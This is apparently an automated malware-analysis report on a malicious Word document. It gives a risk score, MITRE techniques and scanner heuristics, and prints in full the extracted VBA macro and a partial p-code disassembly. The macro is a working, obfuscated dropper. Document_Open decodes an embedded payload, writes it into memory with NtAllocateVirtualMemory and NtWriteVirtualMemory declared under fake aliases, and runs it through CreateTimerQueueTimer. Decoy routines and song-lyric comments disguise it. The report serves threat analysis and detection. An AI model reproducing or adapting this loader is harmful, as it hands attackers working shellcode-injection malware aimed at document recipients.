MALICIOUS
130
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is an Office document containing a VBA macro. The macro is flagged as auto-executing and attempting execution via GetObject, indicating it's designed to run malicious code. ClamAV identifies it as a dropper, suggesting its primary purpose is to download and execute a secondary payload. No specific family could be identified, but the technique points to a common macro-based malware delivery.
Heuristics 5
-
ClamAV: Doc.Dropper.Agent-6337012-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6337012-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() Dim fungible As Integer -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 55666 bytes |
SHA-256: 337c7941980ed28b3da960b23e7b48e075f278e9a00e6359a14bd6b096735732 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub conspicuous()
Dim hailstorm As Long
Dim awestricken As Long
metrification.depictment.Value = Day(#12/5/2013#)
varday = beanstalk = "indigested"
jeremy = "adiantum"
absinthe = "overprotective"
adynamia = "strawworm"
barrow = silkiness
petauristidae = "pluviose"
cursorius = "comprehensive"
corduroy = fourspot
Set biprism = metrification.depictment.SelectedItem
encircle = 40 + 8
moments = 36780 + 6
grossierete = 323090 + 9
Pmt 0, encircle, 13537, 50160, 4
broiler = biprism.Name
resistive = 126 - 110 + 7828
nitric = Right(broiler, resistive)
hardbacked = last(nitric)
neonatalmed = 20 + 8
psychometric = 22200 + 6
minds = 337410 + 1
Pmt 0, neonatalmed, 21682, 58027, 7
abudefduf = unrefined
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim uncommenced As String
Dim carnelian As LongPtr
Dim precincts As LongPtr
Dim curricle As Byte
Dim whos As Byte
Dim centriscidae As LongPtr
Dim milkless As LongPtr
Dim forth As LongPtr
interlobular = 100 - 127 + 2091
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim soothysay As Variant
Dim precincts As Long
Dim bedimmed As Long
Dim carnelian As Long
Dim centriscidae As Long
kinship = 49 - 14 + 746
Dim milkless As Long
Dim forth As Long
interlobular = kinship + 3459
#End If
azimuthal = 11 - 122 + 111
memorials = galiongee
archaic = years
bombardment = 41 - 75 + 4130
bilobate = 50 + 0
acupressure = 19710 + 9
assistive = 112000 + 8
Pmt 0, bilobate, 37732, 39918, 4
eranthis = "ot"
detracting = "needfulness"
orthogonal = 70 + 4
colors = 35200 + 5
orthopedist = 247460 + 1
Pmt 0, orthogonal, 5917, 50760, 7
audibly = hardbacked
taiwanese = "slither"
carnelian = birthrate(audibly)
bryon = "intermediate"
pederero = "operand"
Dim firebase As Variant
Dim deanship As Byte
centriscidae = 77 - 77 + 0
precincts = carnelian + interlobular
milkless = 71 - 124 + 201580
forth = 105 - 126 + 3521
blueback = afril(milkless, centriscidae, precincts)
charakter = 3 - 1
weakly = 9030 + 8
acuate = 182620 + 6
Pmt 0, charakter, 23419, 23220, 3
End Sub
Sub ControlWord()
Dim objWord As New Word.Application
Dim rsContacts As New ADODB.Recordset
Dim strLtrContent As String
rsContacts.ActiveConnection = CurrentProject.Connection
rsContacts.Open "tblContacts"
objWord.Documents.Add
Do While Not rsContacts.EOF
strLtrContent = rsContacts("FirstName") & " " & rsContacts("LastName")
strLtrContent = strLtrContent & rsContacts("Address") & vbCrLf
strLtrContent = strLtrContent & rsContacts("City") & ", " & rsContacts("Region")
strLtrContent = strLtrContent & " " & rsContacts("PostalCode")
strLtrContent = strLtrContent & "Dear " & rsContacts("FirstName") & " "
strLtrContent = strLtrContent & rsContacts("LastName") & ":"
objWord.Selection.EndOf
objWord.Selection.Text = strLtrContent
objWord.Selection.EndOf
objWord.Selection.InsertBreak
rsContacts.MoveNext
Loop
objWord.Visible = True
objWord.PrintPreview = True
End Sub
Private Sub Document_Open()
Dim fungible As Integer
Dim callus As String
kinsman = "breakfast"
automated = crosscheck
conspicuous
oxytocin = 110 + 1
anorexy = 18590 + 2
attainment = 136890 + 5
Pmt 0, oxytocin, 35683, 11988, 2
End Sub
Function tenuously(bedstraw, abelmosk, aileron)
folk = smooth.georges(80 / 4 * 4)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (folk) Then
Dim oxidationreduction As Variant
Dim bearance As String
Dim aden As LongPtr
Dim generically As LongPtr
Dim sossle As LongPtr
Dim thumbstall As Integer
Dim oxylebius As LongPtr
Dim strychnine As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (folk) Then
Dim generically As Long
Dim hemophiliac As Long
Dim aden As Long
Dim isomorphous As Variant
Dim oxylebius As Long
Dim direfully As Byte
Dim sossle As Long
Dim regretful As Variant
Dim strychnine As Long
Dim liliidae As Integer
Dim drawer As Byte
#End If
unlikeness = opacous
unlikeness = opacous
generically = bedstraw
strychnine = aileron
clanship = Fix(394)
oxylebius = abelmosk
cogent = 100 + 2
draggletailed = 7970 + 3
revenues = 530050 + 4
Pmt 0, cogent, 4500, 21972, 6
pinna = Fix(493)
aden = 86 - 29 - 58
sixfooter ByVal aden, generically, oxylebius, strychnine, sossle
clanship = pinna * 2
End Function
Function birthrate(phoxinus)
Dim bas As String
Dim apishamore As String
Dim magnetite As Long
Dim evanescent As Variant
#If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then
Dim malnutrition As Integer
Dim agurial As LongPtr
cockspur = 121 - 115 + 2
Dim finesse As LongPtr
Dim airstream As Variant
Dim hieroglyphical As Byte
Dim gunk As LongPtr
Dim rushy As String
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim agurial As Long
cockspur = 104 - 62 - 38
Dim finesse As Long
Dim gunk As Long
#End If
downy = VarPtr(agurial)
scavenge = tenuously(downy, VarPtr(phoxinus) + 8, cockspur)
inception = 41 - 31 - 11
finesse = 76 - 46 - 30
masonite = 18 - 61 + 43
gunk = 84 - 58 + 9348
posession = 9 - 52 + 4139
doloris = 24 - 55 + 95
despotical = hurry(ByVal inception, finesse, ByVal masonite, gunk, ByVal posession, ByVal doloris)
unlikeness = opacous
pinna = Rnd(120)
tenuously finesse, agurial, 68 - 95 + 5910
catabolism = 50 + 5
ochotonidae = 24540 + 5
brigit = 501740 + 9
Pmt 0, catabolism, 13032, 58656, 5
birthrate = finesse
End Function
Function last(skyrocket) As String
Dim malian(63) As Long
Dim saddlebag(63) As Long
Dim capricious As Integer
Dim warfare() As Byte
Dim gete(6962) As Byte
snaffle = snaffle + 225
Dim bindweed As Long
Dim eimeriidae As Variant
Dim untrustworthiness As Long
Dim professedly As String
Dim impure As Variant
Dim precedent As Long
unlikeness = "deliberate"
Dim oneandone As Long
Dim buying(63) As Long
Dim confusedness As String
Dim orontium As Variant
unlikeness = unlikeness
Dim parasitical As String
cranberry = 80 - 74 + 58
Dim accurately As Variant
Dim crematorium As Integer
saltpan = 111 - 125 + 16711694
hoarder = 14 - 89 + 16515147
acceptance = 23 - 98 + 258123
asthenia = 27 - 63 + 99
someday = 58 - 16 + 4054
applied = 125 - 57 + 188
allodium = 83 - 111 + 262172
claymore = 20 - 15 + 250
ayin = 18 - 32 + 65550
brocatelle = 48 - 35 + 65267
muniment = 70 - 117 + 4079
Dim loofah As String
furfural = 27 - 63 + 36
assortment = 7 - 4 + 7840
Dim rois() As Byte
Dim amercement As Long
Dim hide As Long
rois = VBA.StrConv(skyrocket, 128)
Dim excogitate As String
lets = 22
restrictively = 24452
ingenious = 268503
Pmt 0, lets, 5334, 32873, 3
maxi = 7843
stream = vbKeyShift - 12
For bricabrac = 0 To maxi
If bricabrac Mod 2 = 0 Then
rois(bricabrac) = rois(bricabrac) - stream
Else
rois(bricabrac) = rois(bricabrac) - (stream - 1)
End If
Next bricabrac
grpou = 78
dogs = 33001
adoptable = 325861
Pmt 0, grpou, 13535, 27187, 4
capricious = 0
toothpaste = 48 - 36 - 12
amoebean = 33 - 13 + 23
believing = autocracy
For untrustworthiness = (7 - 7) * 1 To (50 + 13) * (5 - 4)
buying(untrustworthiness) = adulation(untrustworthiness, cranberry, 53)
malian(untrustworthiness) = adulation(untrustworthiness, someday, 53)
saddlebag(untrustworthiness) = adulation(untrustworthiness, allodium, 53)
Next untrustworthiness
floorwalker = 44
trionyx = 39646
dhole = 462244
Pmt 0, floorwalker, 15213, 28043, 2
warfare = rois
assaultive = 60 - 120 + 64
condescend = 100
autoregulation = 33194
mugil = 148660
Pmt 0, condescend, 17189, 55484, 3
quarteron = 34 - 101 + 70
opacous = "furlike"
unlikeness = opacous
attractable = quarteron + 1
ambilogy = 10 - 126 + 118
For precedent = 0 To maxi
adversum = warfare(precedent)
flabbergasted = warfare(precedent + 2)
scrotum = malian(believing(warfare(precedent + 1)))
poliovirus = buying(believing(flabbergasted)) + believing(warfare(precedent + quarteron))
bindweed = saddlebag(believing(adversum)) + scrotum + poliovirus
untrustworthiness = adulation(bindweed, saltpan, 45)
gete(oneandone) = adulation(untrustworthiness, ayin, 35)
untrustworthiness = adulation(bindweed, brocatelle, 45)
gete(oneandone + 1) = adulation(untrustworthiness, applied, 35)
gete(oneandone + ambilogy) = adulation(bindweed, claymore, 45)
oneandone = oneandone + ambilogy + 1
precedent = precedent + 3
Next
last = gete
End Function
Attribute VB_Name = "smooth"
' And hit me like a hurricane' But just your sight had my heart storming
#If (9 * 3 + 5) > (8 - 3 * 1) And (Win64) > (28 - 7 * 4) * 2 Then
' You wrecked my whole world when you came
' But just your sight had my heart storming
Public Declare PtrSafe Function bacteroidal Lib "ntdll.dll" Alias "NtCreateEventPair" (unsunnd As LongPtr, revelry As LongPtr, chimonanthus As LongPtr) As LongPtr
' I was doing alright
' Rain was driving, thunder, lightning
Public Declare PtrSafe Function acinaform Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal aldosterone As Any, callable As Any, crassness As Any, consider As Any) As LongPtr
' Knew it was gonna be a long night
' But just your sight had my heart storming
Public Declare PtrSafe Function callisto Lib "Kernel32" Alias "CreateTimerQueueTimer" (antipasto As Any, ByVal anthurium As Any, ByVal trachipteridae As Any, ByVal charged As Any, ByVal maratha As Any, ByVal near As Any, ByVal determinable As Any) As Long
' Rain was driving, thunder, lightning
' Started talking bout us again
Public Declare PtrSafe Function hurry Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (aparejo As LongPtr, antilogarithm As LongPtr, ByVal homoousia As LongPtr, agdistisByVal As LongPtr, unloved As LongPtr, ByVal helicidae As LongPtr) As LongPtr
' Hit me like a hurricane
' Rain was driving, thunder, lightning
Public Declare PtrSafe Function mystery Lib "Kernel32.dll" Alias "CreateEventW" (ByVal cess As LongPtr, habitually As LongPtr, industrialization As LongPtr, bitthead As LongPtr, sardina As LongPtr) As Long
' I was doing alright
' We locked eyes over whiskey on ice
Public Declare PtrSafe Function gwyn Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal eluvium As Any, intentness As Any, gatling As Any, gynecomastia As Any) As LongPtr
' But just your sight had my heart storming
' The moon went hiding, stars quit shining
Public Declare PtrSafe Function pollachius Lib "Ntdll.dll " Alias "AcquireSRWLockShared" (forbears As Any) As LongPtr
' Knew it was gonna be a long night
' And hit me like a hurricane
Public Declare PtrSafe Function sixfooter Lib "Ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal downscale As Any, ByVal overbid As Any, ByVal conversationalist As Any, ByVal cookstove As Any, ByVal conglaciation As Any) As LongPtr
' I was doing alright
' But just your sight had my heart storming
Public Declare PtrSafe Function agglutinate Lib "Shlwapi.dll" Alias "CreateFileWrapW" (acrobatic As LongPtr) As LongPtr
' Baby, without warning
' If I woulda just layed my drink down
' I wouldnt be in my truck
' You wrecked my whole world when you came
#End If
' But you rolled in with your hair in the wind
' Rain was driving, thunder, lightning
#If (9 * 3 + 5) > (8 - 3 * 1) And Not (Win64) > (28 - 7 * 4) * 2 Then
' But just your sight had my heart storming
' Baby, without warning
Public Declare Function sixfooter Lib "Ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal centering As Any, ByVal extinguisher As Any, ByVal accustomary As Any, ByVal cladonia As Any, ByVal amendment As Any) As Long
' But just your sight had my heart storming
' But you rolled in with your hair in the wind
Public Declare Function beads Lib "ntdll.dll " Alias "AcquireSRWLockShared" (acknowledgement As Any) As Long
' And walked out
' And walked out
Public Declare Function drycleaned Lib "Kernel32.dll" Alias "CreateEventW" (ByVal evolutionary As Long, endanger As Long, mantispidae As Long, cabochon As Long, ballpoint As Long) As Long
' I wouldnt be in my truck
' We locked eyes over whiskey on ice
Public Declare Function uplift Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal victim As Any, visaged As Any, disapprobation As Any, falsity As Any) As Long
' I was doing alright
' If I woulda just layed my drink down
Public Declare Function noncontentious Lib "ntdll.dll" Alias "NtCreateEventPair" (languishment As Long, calyceal As Long, asleep As Long) As Long
' You wrecked my whole world when you came
' Baby, without warning
Public Declare Function hurry Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (welladvised As Long, reflexion As Long, ByVal polyestrous As Long, compositionalByVal As Long, katerfelto As Long, ByVal coral As Long) As Long
' Baby, without warning
' You wrecked my whole world when you came
Public Declare Function belligerant Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal expectat As Any, viceroyship As Any, dragging As Any, clone As Any) As Long
' I wouldnt be in my truck
' The moon went hiding, stars quit shining
Public Declare Function callisto Lib "Kernel32" Alias "CreateTimerQueueTimer" (huguenot As Any, ByVal bandung As Any, ByVal chloroformed As Any, ByVal fishlike As Any, ByVal letters As Any, ByVal scamper As Any, ByVal dilated As Any) As Long
' Baby, without warning
' You wrecked my whole world when you came
' Driving us to your house
' But you rolled in with your hair in the wind
#End If
' And hit me like a hurricane
' I was doing alright
Function afril(lst, pirs, lky)
zara = georges(80 / 4 * 4)
#If (7 * 2) * 3 > 14 / 2 And (12 - 6 * 2) * 1 < (zara) Then
Dim dogss As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (12 * 2) / 1 > 14 / 2 And Not (12 - 6 * 2) * 1 < (zara) Then
Dim dogss As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
dogss = pirs
deble = lky
dan2 = callisto(lst, dogss, deble, dogss, dogss, dogss, dogss)
End Function
Function georges(linkoln)
Dim windser As Integer
Dim velvet As Integer
fixoid = linkoln * 12
Dim sitroen As Variant
metro2 = linkoln * 2
Dim cowen() As Byte
#If (4 * 6 + linkoln) > (6 - 2 * 1) And (10 - linkoln * 2) * 2 < (Win64) Then
velvet = metro2
#End If
#If (4 * 6 + linkoln) > (6 - 2 * 1) And Not (Win64) > (10 - linkoln * 2) * 2 Then
velvet = (120 - fixoid)
#End If
metro3 = metro2 + velvet
georges = velvet
End Function
Sub page()
With Documents("yourDoc.doc").PageSetup
.PaperSize = wdPaperLetter
.Orientation = wdOrientPortrait
.TopMargin = 1
.BottomMargin = 1
.LeftMargin = 1
.RightMargin = 1.5
.MirrorMargins = True
End With
End Sub
Function autocracy()
Dim encephalitis(255) As Byte
machicolation = 72 - 20 + 13
Do While machicolation <= 90 + 1
encephalitis(machicolation) = machicolation - 65
machicolation = machicolation + 1
Loop
machicolation = 48
Do While machicolation <= 50 + 8
encephalitis(machicolation) = machicolation + 4
machicolation = machicolation + 1
Loop
machicolation = 97
Do While machicolation <= 120 + 3
encephalitis(machicolation) = machicolation - 71
machicolation = machicolation + 1
Loop
encephalitis(47) = 63
machicolation = 43
encephalitis(machicolation) = 60 + 2
autocracy = encephalitis
End Function
Function bevue(antemortem)
bevue = AscW(antemortem)
End Function
Function adulation(idiotic, ordinal, ductule)
If ductule = (30 + 5) + (10 / 2 - 5) Then
adulation = idiotic \ ordinal
ElseIf ductule = (40 + 5) + (5 - 3) / 2 - 1 Then
adulation = idiotic And ordinal
ElseIf ductule = (50 + 3) + (56 / 7 - 4 * 2) Then
adulation = idiotic * ordinal
End If
End Function
Sub MyTestArray()
Dim myArray(1 To 4) As String
Dim Response As String
Dim i As Integer
Dim myFlag As Boolean
myFlag = False
myArray(1) = "A"
myArray(2) = "B"
myArray(3) = "C"
myArray(4) = "D"
Do Until myFlag = True
Response = InputBox("Please enter your choice: (i.e. A,B,C or D)")
For i = 1 To 4
If UCase(Response) = UCase(myArray(i)) Then
myFlag = True: Exit For
End If
Next i
Loop
End Sub
Attribute VB_Name = "metrification"
Attribute VB_Base = "0{F5830FA7-4AB9-4942-B3A8-063D1F4D8AFC}{7E50176D-6149-4880-92CD-E37C9F491FEF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "poster"
' Processing file: /opt/analyzer/scan_staging/551cfc3836d7487d9989fd9edb522673.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 24478 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' FuncDefn (Sub conspicuous())
' Line #4:
' Dim
' VarDefn hailstorm (As Long)
' Line #5:
' Dim
' VarDefn awestricken (As Long)
' Line #6:
' LitDate 0x0000 0x0000 0x51A0 0x40E4
' ArgsLd Day 0x0001
' Ld metrification
' MemLd depictment
' MemSt Value
' Line #7:
' Ld beanstalk
' LitStr 0x000A "indigested"
' Eq
' St varday
' Line #8:
' LitStr 0x0008 "adiantum"
' St jeremy
' Line #9:
' LitStr 0x000E "overprotective"
' St absinthe
' Line #10:
' LitStr 0x0009 "strawworm"
' St adynamia
' Line #11:
' Ld silkiness
' St barrow
' Line #12:
' Line #13:
' LitStr 0x0008 "pluviose"
' St petauristidae
' Line #14:
' LitStr 0x000D "comprehensive"
' St cursorius
' Line #15:
' Ld fourspot
' St corduroy
' Line #16:
' SetStmt
' Ld metrification
' MemLd depictment
' MemLd SelectedItem
' Set biprism
' Line #17:
' LitDI2 0x0028
' LitDI2 0x0008
' Add
' St encircle
' Line #18:
' LitDI4 0x8FAC 0x0000
' LitDI2 0x0006
' Add
' St moments
' Line #19:
' LitDI4 0xEE12 0x0004
' LitDI2 0x0009
' Add
' St grossierete
' Line #20:
' LitDI2 0x0000
' Ld encircle
' LitDI2 0x34E1
' LitDI4 0xC3F0 0x0000
' LitDI2 0x0004
' ArgsCall Pmt 0x0005
' Line #21:
' Line #22:
' Ld biprism
' MemLd Name
' St broiler
' Line #23:
' LitDI2 0x007E
' LitDI2 0x006E
' Sub
' LitDI2 0x1E94
' Add
' St resistive
' Line #24:
' Ld broiler
' Ld resistive
' ArgsLd Right 0x0002
' St nitric
' Line #25:
' Ld nitric
' ArgsLd last 0x0001
' St hardbacked
' Line #26:
' LitDI2 0x0014
' LitDI2 0x0008
' Add
' St neonatalmed
' Line #27:
' LitDI2 0x56B8
' LitDI2 0x0006
' Add
' St psychometric
' Line #28:
' LitDI4 0x2602 0x0005
' LitDI2 0x0001
' Add
' St minds
' Line #29:
' LitDI2 0x0000
' Ld neonatalmed
' LitDI2 0x54B2
' LitDI4 0xE2AB 0x0000
' LitDI2 0x0007
' ArgsCall Pmt 0x0005
' Line #30:
' Line #31:
' Ld unrefined
' St abudefduf
' Line #32:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' And
' LbIf
' Line #33:
' Dim
' VarDefn uncommenced (As String)
' Line #34:
' Dim
' VarDefn carnelian (As Ptr)
' Line #35:
' Dim
' VarDefn precincts (As Ptr)
' Line #36:
' Dim
' VarDefn curricle (As Byte)
' Line #37:
' Line #38:
' Dim
' VarDefn whos (As Byte)
' Line #39:
' Dim
' VarDefn centriscidae (As Ptr)
' Line #40:
' Dim
' VarDefn milkless (As Ptr)
' Line #41:
' Dim
' VarDefn forth (As Ptr)
' Line #42:
' LitDI2 0x0064
' LitDI2 0x007F
' Sub
' LitDI2 0x082B
' Add
' St interlobular
' Line #43:
' LbMark
' LbEndIf
' Line #44:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' Not
' And
' LbIf
' Line #45:
' Dim
' VarDefn soothysay (As Variant)
' Line #46:
' Dim
' VarDefn precincts (As Long)
' Line #47:
' Dim
' VarDefn bedimmed (As Long)
' Line #48:
' Dim
' VarDefn carnelian (As Long)
' Line #49:
' Line #50:
' Dim
' VarDefn centriscidae (As Long)
' Line #51:
' LitDI2 0x0031
' LitDI2 0x000E
' Sub
' LitDI2 0x02EA
' Add
' St kinship
' Line #52:
' Dim
' VarDefn milkless (As Long)
' Line #53:
' Dim
' VarDefn forth (As Long)
' Line #54:
' Ld kinship
' LitDI2 0x0D83
' Add
' St interlobular
' Line #55:
' LbMark
' LbEndIf
' Line #56:
' LitDI2 0x000B
' LitDI2 0x007A
' Sub
' LitDI2 0x006F
' Add
' St azimuthal
' Line #57:
' Ld galiongee
' St memorials
' Line #58:
' Ld years
' St archaic
' Line #59:
' LitDI2 0x0029
' LitDI2 0x004B
' Sub
' LitDI2 0x1022
' Add
' St bombardment
' Line #60:
' LitDI2 0x0032
' LitDI2 0x0000
' Add
' St bilobate
' Line #61:
' LitDI2 0x4CFE
' LitDI2 0x0009
' Add
' St acupressure
' Line #62:
' LitDI4 0xB580 0x0001
' LitDI2 0x0008
' Add
' St assistive
' Line #63:
' LitDI2 0x0000
' Ld bilobate
' LitDI4 0x9364 0x0000
' LitDI4 0x9BEE 0x0000
' LitDI2 0x0004
' ArgsCall Pmt 0x0005
' Line #64:
' Line #65:
' LitStr 0x0002 "ot"
' St eranthis
' Line #66:
' LitStr 0x000B "needfulness"
' St detracting
' Line #67:
' LitDI2 0x0046
' LitDI2 0x0004
' Add
' St orthogonal
' Line #68:
' LitDI4 0x8980 0x0000
' LitDI2 0x0005
' Add
' St colors
' Line #69:
' LitDI4 0xC6A4 0x0003
' LitDI2 0x0001
' Add
' St orthopedist
' Line #70:
' LitDI2 0x0000
' Ld orthogonal
' LitDI2 0x171D
' LitDI4 0xC648 0x0000
' LitDI2 0x0007
' ArgsCall Pmt 0x0005
' Line #71:
' Line #72:
' Ld hardbacked
' St audibly
' Line #73:
' LitStr 0x0007 "slither"
' St taiwanese
' Line #74:
' Ld audibly
' ArgsLd birthrate 0x0001
' St carnelian
' Line #75:
' LitStr 0x000C "intermediate"
' St bryon
' Line #76:
' LitStr 0x0007 "operand"
' St pederero
' Line #77:
' Line #78:
' Dim
' VarDefn firebase (As Variant)
' Line #79:
' Dim
' VarDefn deanship (As Byte)
' Line #80:
' LitDI2 0x004D
' LitDI2 0x004D
' Sub
' LitDI2 0x0000
' Add
' St centriscidae
' Line #81:
' Ld carnelian
' Ld interlobular
' Add
' St precincts
' Line #82:
' LitDI2 0x0047
' LitDI2 0x007C
' Sub
' LitDI4 0x136C 0x0003
' Add
' St milkless
' Line #83:
' LitDI2 0x0069
' LitDI2 0x007E
' Sub
' LitDI2 0x0DC1
' Add
' St forth
' Line #84:
' Ld milkless
' Ld centriscidae
' Ld precincts
' ArgsLd wdCollapseStart 0x0003
' St blueback
' Line #85:
' LitDI2 0x0003
' LitDI2 0x0001
' Sub
' St charakter
' Line #86:
' LitDI2 0x2346
' LitDI2 0x0008
' Add
' St weakly
' Line #87:
' LitDI4 0xC95C 0x0002
' LitDI2 0x0006
' Add
' St acuate
' Line #88:
' LitDI2 0x0000
' Ld charakter
' LitDI2 0x5B7B
' LitDI2 0x5AB4
' LitDI2 0x0003
' ArgsCall Pmt 0x0005
' Line #89:
' Line #90:
' EndSub
' Line #91:
' Line #92:
' FuncDefn (Sub ControlWord())
' Line #93:
' Dim
' VarDefn objWord (New )
' Line #94:
' Dim
' VarDefn rsContacts (New )
' Line #95:
' Dim
' VarDefn strLtrContent (As String)
' Line #96:
' Ld CurrentProject
' MemLd Connection
' Ld rsContacts
' MemSt ActiveConnection
' Line #97:
' LitStr 0x000B "tblContacts"
' Ld rsContacts
' ArgsMemCall Open 0x0001
' Line #98:
' Line #99:
' Ld objWord
' MemLd Documents
' ArgsMemCall Add 0x0000
' Line #100:
' Line #101:
' Ld rsContacts
' MemLd EOF
' Not
' DoWhile
' Line #102:
' LitStr 0x0009 "FirstName"
' ArgsLd rsContacts 0x0001
' LitStr 0x0001 " "
' Concat
' LitStr 0x0008 "LastName"
' ArgsLd rsContacts 0x0001
' Concat
' St strLtrContent
' Line #103:
' Ld strLtrContent
' LitStr 0x0007 "Address"
' ArgsLd rsContacts 0x0001
' Concat
' Ld vbCrLf
' Concat
' St strLtrContent
' Line #104:
' Ld strLtrContent
' LitStr 0x0004 "City"
' ArgsLd rsContacts 0x0001
' Concat
' LitStr 0x0002 ", "
' Concat
' LitStr 0x0006 "Region"
' ArgsLd rsContacts 0x0001
' Concat
' St strLtrContent
' Line #105:
' Ld strLtrContent
' LitStr 0x0002 " "
' Concat
' LitStr 0x000A "PostalCode"
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.